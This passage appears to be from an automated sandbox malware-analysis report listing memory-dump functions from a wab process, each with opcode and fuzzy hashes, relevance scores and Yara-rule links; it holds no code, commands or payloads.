Opcode ID: f0e6f3487e4ba9144dc088e4fb69ec0a3449703e61b36ee28ffac163732c5bcf
Instruction ID: 10f31239c8e4f24932b8fb8e160e1d110b2e559706399c122bcebd16d92ccd7b
Opcode Fuzzy Hash: f0e6f3487e4ba9144dc088e4fb69ec0a3449703e61b36ee28ffac163732c5bcf
Instruction Fuzzy Hash: 77E16B70A01209CBEB14DBA8D48079EB7B2FF98300F608539E409AB355DF76E952CB91

Uniqueness

Uniqueness Score: -1.00%

Function 28AFC268 Relevance: 2.8, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dM, xrefs: 28AFC4F1
dM, xrefs: 28AFC5FB

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID: dM$dM
API String ID: 0-2801238145
Opcode ID: 2d46be2ed7bdda4b5a73e3d3d27c72cdb7c843a3d96a76ec35e7685e6e14a5e4
Instruction ID: ccd8c025a0d0a01e19e96e4bec74e90b4313ab369d7c580b823c855f04167905
Opcode Fuzzy Hash: 2d46be2ed7bdda4b5a73e3d3d27c72cdb7c843a3d96a76ec35e7685e6e14a5e4
Instruction Fuzzy Hash: CCA13A70B012158FEB14EB79C490BAEB7F2EF89300F5085A9D409AB351DF769D868B90

Uniqueness

Uniqueness Score: -1.00%

Function 28AE1080 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 28AE1141

Memory Dump Source

Source File: 0000000C.00000002.2648138291.0000000028AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28ae0000_wab.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2db63ab327b5c508968988aa40c005d11cca3b8251d04bad64ddcaf18c96075a
Instruction ID: 19fea7a092303181024827c3ceac4bd7277da68cb8565191fd4c15c62814ef11
Opcode Fuzzy Hash: 2db63ab327b5c508968988aa40c005d11cca3b8251d04bad64ddcaf18c96075a
Instruction Fuzzy Hash: CB4117B8A00259DFDB04CF99C484B9ABBF5FF88311F248559E519AB321D774A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 28AF9A20 Relevance: 1.6, Strings: 1, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 28AF9A24

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 5c43fabbac58ab2afdc72e1d8a2d15a3385fe7b8f467b4d89d1e86615b67c192
Instruction ID: 64427cb712efef92753970748f61d4f181d5a1ef3a8042a47e11861ddc5ccd9f
Opcode Fuzzy Hash: 5c43fabbac58ab2afdc72e1d8a2d15a3385fe7b8f467b4d89d1e86615b67c192
Instruction Fuzzy Hash: 09C13834A01204CBDB14DBA9D584B9DBBF2FB98311F288529E505EB391DF3ADD82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 28AE35B0 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 28AE360D

Memory Dump Source

Source File: 0000000C.00000002.2648138291.0000000028AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28ae0000_wab.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 90ff713845c9e6dbddf0c4b6485b95e64a3734514d91c89933953cbc79ffaa3f
Instruction ID: 0c085d3c25c1ed1152419397b6354a7fa6f13a1ff3f07818505b544466a6c51c
Opcode Fuzzy Hash: 90ff713845c9e6dbddf0c4b6485b95e64a3734514d91c89933953cbc79ffaa3f
Instruction Fuzzy Hash: 2D1122B58042498FDB20DFAAD484BDEFFF4EB48310F24855AD459A7210D3B4A540CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 28AE27A0 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 28AE360D

Memory Dump Source

Source File: 0000000C.00000002.2648138291.0000000028AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28ae0000_wab.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f79a9366d75662df83b125b6d03fa5234e29777a5106138222c4d8152fc3df77
Instruction ID: e882e03e07c84cfa70bd3d48d3173888c4eaa59d5fdf96f59498e58ff4c50c1d
Opcode Fuzzy Hash: f79a9366d75662df83b125b6d03fa5234e29777a5106138222c4d8152fc3df77
Instruction Fuzzy Hash: 361103B59046498FDB20DFAAD484B9EFBF4EB48210F24846AE519A7300D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02EFC188 Relevance: .9, Instructions: 934
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bcb7d73d17bbcf44deea50e27c394ef14ae770f979c228f0e73571d195e6353
Instruction ID: 88982e977bb871d685bc3e7460ff5ba7d845f2df7d59100cc44b69fa3673b257
Opcode Fuzzy Hash: 3bcb7d73d17bbcf44deea50e27c394ef14ae770f979c228f0e73571d195e6353
Instruction Fuzzy Hash: C5822C74A012149FDB24DB28C590A6E77F3FF88701F9094AADA06A7390DF79AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02EFEA00 Relevance: .8, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1302cfac8cd502fbdaa45afe009f467475bf7cda66981d4195e408427cb22f0
Instruction ID: c8a34803d2f80bf401d63b599931072b056b423266daa5c8df2046598e9170f9
Opcode Fuzzy Hash: f1302cfac8cd502fbdaa45afe009f467475bf7cda66981d4195e408427cb22f0
Instruction Fuzzy Hash: 47626B30A003098FDB15EB68D580A9EB7F2FF88305B64DA68D105AF365DB75ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02EFB8C8 Relevance: .6, Instructions: 581
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a99627511175075dba52aa937726a46c40d971ec06e48a2551ee7eb707d87c2
Instruction ID: ea89d8a659415dd790c6d6b9ae0bae248e359ad769544c9dd6f8fd36efa22c5a
Opcode Fuzzy Hash: 2a99627511175075dba52aa937726a46c40d971ec06e48a2551ee7eb707d87c2
Instruction Fuzzy Hash: 9022B3B07003059BDB259B38D48536D37A3FBCE318B609929E105EB355CF7ADD868B85

Uniqueness

Uniqueness Score: -1.00%

Function 28AFEEA0 Relevance: .5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c16d40f084400ab1cf7276e71a087ec512da534b4f4ee5b2e970b3f87728ee
Instruction ID: 48fb0a452408a197a39f6f6ba33a9502096bab8c7094bcd5a47bd66ff645ffe5
Opcode Fuzzy Hash: d4c16d40f084400ab1cf7276e71a087ec512da534b4f4ee5b2e970b3f87728ee
Instruction Fuzzy Hash: 61026B30A02209CFDB14CBA8D48079DB7B2FB59310F24857AE419EB652DF76DE81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFE4C0 Relevance: .4, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7acf1310f030f07577febd2c58cb21d66f87331dcac71f03b5009eb4ca5282e6
Instruction ID: 19af7ef1353cb1916b559517497decbec376cdbb14514e38cf1235a1be876984
Opcode Fuzzy Hash: 7acf1310f030f07577febd2c58cb21d66f87331dcac71f03b5009eb4ca5282e6
Instruction Fuzzy Hash: 07E18C30B002048FDB54DF78D4906AEB7F2AF88314F589569E606DB3A1EB75ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02EFDFF0 Relevance: .4, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfef54c2434157c9e706996192b34dfb1d4af070ff3d3f3bb0fea84c1ad6167
Instruction ID: 3c5a1155da5fa4100591b33333b4835dce5444dce6c7f00d84b674d6991f822e
Opcode Fuzzy Hash: 8bfef54c2434157c9e706996192b34dfb1d4af070ff3d3f3bb0fea84c1ad6167
Instruction Fuzzy Hash: 70D17D30B002049FDB54EB68D484BADB7F3FB88314F549569EA09AB351DB35ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02EFDAD8 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b79f57fe9d1717a475b33a504fdeea6843d95d87959fdf5f81b941e6c744f037
Instruction ID: 72399d2444672c7230da8c02905b3238b900b7ff50d9f1cf7686b324d4eac5b6
Opcode Fuzzy Hash: b79f57fe9d1717a475b33a504fdeea6843d95d87959fdf5f81b941e6c744f037
Instruction Fuzzy Hash: B8D1DF71B402058FDB50DF69D8847AEBBB2EB89314F20C56AE609EB391DB75D840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFD75C Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68df994aad05828d3514a8c3b9f34860aefbdd9d3dff3aab729724c910f25158
Instruction ID: e4263fb84aa0021ae9f66b0f057646b5b9bb3cc62e5a1c6849ec22e8eb0a584e
Opcode Fuzzy Hash: 68df994aad05828d3514a8c3b9f34860aefbdd9d3dff3aab729724c910f25158
Instruction Fuzzy Hash: 7AB18F34A002149FDB14EF79D888AADBBF2EF88314F148569E906EB361DB35DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02EF41F1 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc76b5ce524f7ef06d410e4715e3677b2af2d885311b074dfce797db38478980
Instruction ID: d1cbc6479102fae910277b077029c3c956dc68ce724072603831f8552f83cce8
Opcode Fuzzy Hash: fc76b5ce524f7ef06d410e4715e3677b2af2d885311b074dfce797db38478980
Instruction Fuzzy Hash: 21B15CB0E40209CFDB50DFA8D8857DEBBF2AF88318F14D129DA14A7294EB749845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02EF4ABD Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3abbbfd9587b1efe0846ada6e50465c8c1caf3f793f53b657d20fcd63cfa3f33
Instruction ID: a1461911ef34ec4151c9759123864508fa63ccf7cfcd2ea1d9c68663afaccdb5
Opcode Fuzzy Hash: 3abbbfd9587b1efe0846ada6e50465c8c1caf3f793f53b657d20fcd63cfa3f33
Instruction Fuzzy Hash: E3A19170E40209CFDB50CFA8D8857DEBBF1AF88318F14E129DA14EB294EB759845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 28AFA558 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f6b4a88bfd31780165e756c4b9ced91ce8891d64dce0fce287243646f8c330
Instruction ID: 6773865b3708b621baca854fa8cd4d1080b48301fe8e5c9847c45aa409ed79af
Opcode Fuzzy Hash: f2f6b4a88bfd31780165e756c4b9ced91ce8891d64dce0fce287243646f8c330
Instruction Fuzzy Hash: 73A14C30A01204DFCB14DB68D584B9DBBF2FF88318F548469E44AAB361DB76ED52CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02EF3EA5 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2558cda06edd84d8ffd27831a555ae41a4af28d38933965db8e2c7c1246c35
Instruction ID: 8c13a8743f1a8280724927acde13e20b2d2ed0672b954738bce56aa9e406778f
Opcode Fuzzy Hash: de2558cda06edd84d8ffd27831a555ae41a4af28d38933965db8e2c7c1246c35
Instruction Fuzzy Hash: E4916A70E40209CFDF50CFA9C9857DEBBF2AF88308F14D529E605AB294EB749845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 28AFC998 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc16a580facb47ff26dd817b6ffe98fa9964add9b28e35cd09c732a1d471928c
Instruction ID: f9855989e1a5212f8eef0199e50ec7c47a499eaace4ed7a6f8cc150e03506e9d
Opcode Fuzzy Hash: fc16a580facb47ff26dd817b6ffe98fa9964add9b28e35cd09c732a1d471928c
Instruction Fuzzy Hash: 81915E30B002198BDB14DB69C8A0BAEB7F3FF89700F548569D509EB345EF75AD428B90

Uniqueness

Uniqueness Score: -1.00%

Function 28AF9628 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46cedcee3274c51590718039196ac18e2324d140815839fdb6c1040ffebc552
Instruction ID: 03b3bd254351d9ce50ddbeb65d9fbb12a2d6dbd28f56a1e453007c9f89ccc4d5
Opcode Fuzzy Hash: e46cedcee3274c51590718039196ac18e2324d140815839fdb6c1040ffebc552
Instruction Fuzzy Hash: E361D471F000118BDB119B7EC994A5EBAD7AFD8721F194039E80AEB325DEB6DD0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 28AF76E1 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e4a02ceeb1653e19e6f3f1639a48141404a499a6da0e1092bc355b5ae01a49
Instruction ID: 116a10b972e6247efb9224b1b87f2cb492597f58216e256b6d510009e31dbb59
Opcode Fuzzy Hash: 88e4a02ceeb1653e19e6f3f1639a48141404a499a6da0e1092bc355b5ae01a49
Instruction Fuzzy Hash: CD814B30B012458FDB44DBA9C4A479EBBF2EB89300F208439E50AEB355EF359D428B91

Uniqueness

Uniqueness Score: -1.00%

Function 28AF7A00 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b007932c05d5e21138b687e69653cdd4ac9a8cb0c18253303259a8ae655678
Instruction ID: 78a80a4f967bf1848053878df9e48c76c59a4ee5f91a39e0747132a8f9ddba2b
Opcode Fuzzy Hash: 21b007932c05d5e21138b687e69653cdd4ac9a8cb0c18253303259a8ae655678
Instruction Fuzzy Hash: 3D913F30E00659CBDB10DF68C890B9DB7B1FF89310F2085A9E549BB255DB71AE85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 28AF7A18 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523c23c3609a80e4dc73e5dec4250c30bd831748fcdf1b6714bcc6bac369352d
Instruction ID: 35d0eb30fee4f2c082c1709889ee740408dbffd64effcb8d7a21130463e4270c
Opcode Fuzzy Hash: 523c23c3609a80e4dc73e5dec4250c30bd831748fcdf1b6714bcc6bac369352d
Instruction Fuzzy Hash: 98911C70E00619CBDB20DF68C890B9DB7B1FF99310F2085A9E549BB255DB71AA85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 28AF7FB0 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd17ccaa432b91840f53f5ea4d3e48f7f36a2fb4553d978025c3f740a0ef8ab
Instruction ID: e364c6888d55b88d87feab4d8cfb9d1643835877c1837bf8dbd34ea306054e70
Opcode Fuzzy Hash: 9cd17ccaa432b91840f53f5ea4d3e48f7f36a2fb4553d978025c3f740a0ef8ab
Instruction Fuzzy Hash: 85617070B00219DFEB149BB9C854B9EBAF6FF88300F248529E109EB395DF765D418B54

Uniqueness

Uniqueness Score: -1.00%

Function 28AFC98E Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2335cb2bc64e8dbb77de224b001552467d517b49870250b29016efcf4feb806d
Instruction ID: ac7770712e2b79e7ecca8af1ceb7799d42d93d304e7d40c80aa2221138c6f57a
Opcode Fuzzy Hash: 2335cb2bc64e8dbb77de224b001552467d517b49870250b29016efcf4feb806d
Instruction Fuzzy Hash: F7514030B012159BDB04DB79D8A0B6E77F3EB88700F548469D509EB355EF76AD018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 28AF8858 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9e2505f6f6feff9766664427b0383c9d2cb3bf971b7a5d298da2b708016886
Instruction ID: e35375ebeb06af8a59eda8d85ae17050aee3f1b96d658386e16c085916db5464
Opcode Fuzzy Hash: db9e2505f6f6feff9766664427b0383c9d2cb3bf971b7a5d298da2b708016886
Instruction Fuzzy Hash: 2D418172A01609DFDB20CEA9C8C0B9FF7B1FB99310F20493AE255D7251D732AA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02EF6D0D Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d1a02872ba589f823b113fbd1b597aad52c3ebf7e4c6fe107581b6fa70eabe8
Instruction ID: 165660dc7d3d5a5d67824c44e7f09c46c32a055ea3fc8d8a347c049e02f50411
Opcode Fuzzy Hash: 7d1a02872ba589f823b113fbd1b597aad52c3ebf7e4c6fe107581b6fa70eabe8
Instruction Fuzzy Hash: C0512371D002188FEB18CFA9C884BDEBBB5BF49304F14952AE829BB350D774A944CF91

Uniqueness

Uniqueness Score: -1.00%

Function 28AF7FA0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd38b1c6de3bd27ab88deb718f1cee2f86c3202bbe320ae0fc0fe610fd1cf95
Instruction ID: 03cae121f4d598b4e8b209f3b0f4d5307b421dfd24254a772a29c55a976cdf96
Opcode Fuzzy Hash: 2bd38b1c6de3bd27ab88deb718f1cee2f86c3202bbe320ae0fc0fe610fd1cf95
Instruction Fuzzy Hash: 35419E74B002089FEB159FF9C854B9EBBF6FF88300F208529E119AB395DB759C418B90

Uniqueness

Uniqueness Score: -1.00%

Function 02EF6D18 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875d5ff19e2851533dab7c3502ce5f9e0b0aa06c2a8ffae08fec7c9d96db150b
Instruction ID: c257cdc6eb2b1e72bb5f49f204ffdd1a8677036cac2cc6a3a20e671253eef306
Opcode Fuzzy Hash: 875d5ff19e2851533dab7c3502ce5f9e0b0aa06c2a8ffae08fec7c9d96db150b
Instruction Fuzzy Hash: B7513471D002188FEB58CFA9C884BDEBBB5BF49704F14851AE829BB350DB74A944CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFAAD4 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7bee19b7448691c9b4aae866ad22e6ccf94e1250a81cfb0a116f9f461258739
Instruction ID: 67f3cf4587e36b86ee97f8af4c8e06faa9b0d360dec409323f7e9746d29f639f
Opcode Fuzzy Hash: d7bee19b7448691c9b4aae866ad22e6ccf94e1250a81cfb0a116f9f461258739
Instruction Fuzzy Hash: 91519D70A802098FEB54DF75C458BED7BB2AF49309F149479D51AEF390DB788940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02EF112B Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412241278aaa18c2f4dff13eed7171b91e4c0eab49aa7f01b027adf2f4efb823
Instruction ID: 056ef6d5da4bdac73add05c6c1bf56d20afaee390969ecb5edf9f605ca9dcbeb
Opcode Fuzzy Hash: 412241278aaa18c2f4dff13eed7171b91e4c0eab49aa7f01b027adf2f4efb823
Instruction Fuzzy Hash: 1F517070E92346CFCB19DB68D8D19583BB3BF963003D44669D3044B3A2DAF86956CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02EF6F9F Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2505767e8160b984c490fb4650ba9de944307aa400c265b34e14d49d898fe651
Instruction ID: d058ec55176b381a445bbe49c3ab844b959b5b936b14f114746baf44d7782bfc
Opcode Fuzzy Hash: 2505767e8160b984c490fb4650ba9de944307aa400c265b34e14d49d898fe651
Instruction Fuzzy Hash: 18414834B50105CFDB54DF68C458AAD77B6AF4C304F609069E602EB7A0CB75DC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02EF1138 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34b37a5f61f0a96e1c59aeca495638bca979ae402a45225be4926b58e8ac68d
Instruction ID: 093ffc3412fa2f2d6dffe4d740566f1a7b29fa70b6aa60fd68553538d680e05a
Opcode Fuzzy Hash: b34b37a5f61f0a96e1c59aeca495638bca979ae402a45225be4926b58e8ac68d
Instruction Fuzzy Hash: 39515B70E92346CFCB19DB68D8D09583BB3BF963003D48669D3054B3A2DAF86956CF81

Uniqueness

Uniqueness Score: -1.00%

Function 28AF5938 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b3ca26aeb0972fbc3dd3e07cfad5caed3b8ae5375f668bf88a467e107e9a9b
Instruction ID: 75333a01c8edc53ee6c0b3c2dcb6a2c337c112be3b80df37262ca3c73522ea07
Opcode Fuzzy Hash: 46b3ca26aeb0972fbc3dd3e07cfad5caed3b8ae5375f668bf88a467e107e9a9b
Instruction Fuzzy Hash: 6531CF30B012158FDB18AB75D49876E7BE3BB89311F648978E406EB341DE36CD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFF428 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36afe7a0168629c0ebbd6105f157e52802566fc445eee1cc54520c4f34def9cb
